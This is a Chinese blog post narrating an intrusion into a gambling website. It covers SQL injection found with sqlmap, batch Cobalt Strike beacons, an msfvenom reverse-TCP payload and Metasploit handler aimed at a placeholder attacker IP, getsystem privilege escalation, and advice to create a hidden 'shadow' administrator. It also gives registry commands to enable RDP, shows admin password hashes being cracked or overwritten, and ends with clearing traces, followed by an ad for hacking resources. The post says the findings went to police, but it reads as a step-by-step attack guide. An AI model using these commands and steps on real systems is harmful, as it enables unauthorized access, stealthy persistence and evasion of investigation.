文章图片
声明
此渗透测试后已将所有信息移交警方,请勿用于非法用途。信息搜集 首先当然是通过
fofa
进行bc网站的后台搜集(搜索语法大家自行探索),获得的qi牌bc站几乎都是一模一样,估计是分站。随便打开一个看看,是下图sqlmap跑一把,发现存在堆叠注入。由于都是分站,因此存在相同漏洞的应该不少。
文章图片
【一一帮助安全学习,所有资源获取处一一】上线cs 写个脚本,批量上线cs。可以看到有个上线就直接是SYSTEM权限,这就很无聊了。我们拿个普通权限的进行进一步渗透测试
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
文章图片
文章图片
文章图片
首先我们要提权,至少也得有Administrator权限吧。
提权 方式一(漏洞利用)
cs中执行
run systeminfo
收集目标安装的补丁,使用在线提权辅助工具查看能够利用的漏洞。查找exp并利用即可。方式二(msf辅助提权)
要想利用msf辅助提权,必须要反弹shell到msf
一方面可以利用cs在目标机上执行msf生成的木马上线msf。我这里是cs服务端和msf在同一vps上
msfvenom -p windows/meterpreter_reverse_tcp lhost=x.x.x.x lport=8888 -f exe > shell.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
show options
set lhost x.x.x.x
set lport 8888
run
将
shell.exe
上传至目标并执行,即可看到msf已上线文章图片
文章图片
或者直接通过cs进行会话派生spawn
cs上创建监听器
文章图片
msf进行配置,注意这里两个payload要相互对应
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost x.x.x.x
set lport 8888
exploit
文章图片
在msf中
getuid
查看到当前用户为mssqlsserver
,利用msf自带的提权getsystem
,居然直接就提权成功,拿到了system权限。文章图片
然后再利用system权限执行cs生成的shell,上线之后就是system权限了
文章图片
当然我们获得system权限后可以注入进程,更安全一些
文章图片
文章图片
现在既然已经拿到了最高权限,那就可以为所欲为了。
后渗透 强烈建议创建一个影子管理员用户,请自行百度。
文章图片
开启RDP
文章图片
nmap扫一下发现3389端口未开
查看是否开启rdp
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
如未打开,使用下列命令打开
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
查看rdp端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
文章图片
文章图片
这个管理员还是有点安全意识的,把RDP端口改成了39982
我们利用之前创建的影子用户进行RDP连接,直接就进到了桌面。可以看到这就是个“正儿八经“的bc网站
数据库
将mssql设置为windows登录验证,用影子用户连上他们的数据库看看
文章图片
在一个数据表中找到后台登录的用户密码,很幸运密码直接就能用cmd5爆破出来。当然爆破不出来也没事,直接把我们自己的密码md5后直接修改数据表。
登进后台
文章图片
横向移动
这就是个小型的分站,并没有加入域,单个的工作组,也就没有进行下去的必要了
打扫战场 没有做持久化的必要了,走之前打扫一下战场
文章图片
总结 【web安全|【网络安全】记一次简单渗透测试实战】整个渗透过程(尤其是提权过程)都异常的顺利,虽然通过辅助平台查询后发现有多个漏洞可以利用,但没想到msf的getsystem直接就拿下了最高权限。
推荐阅读
- 网络|面对全新的编程语言,这些思路可以帮助你察觉漏洞
- python|生成对抗网络gans_生成对抗网络gans简介
- golang|九、Golang网络编程(Go HTTP客户端服务器学习与开发)
- Java|Java网络多线程
- 网络安全|实验整理(一)——钓鱼邮件攻击实验
- 交换机|中科大发4万封钓鱼邮件给师生“免费送月饼”,网友(学校太会“整活”了......)
- 窃密恶意软件通过仿冒盗版软件下载网站进行传播
- 零基础转行网络安全可以做什么工作
- 对渗透测试工程师来说,学历重要嘛()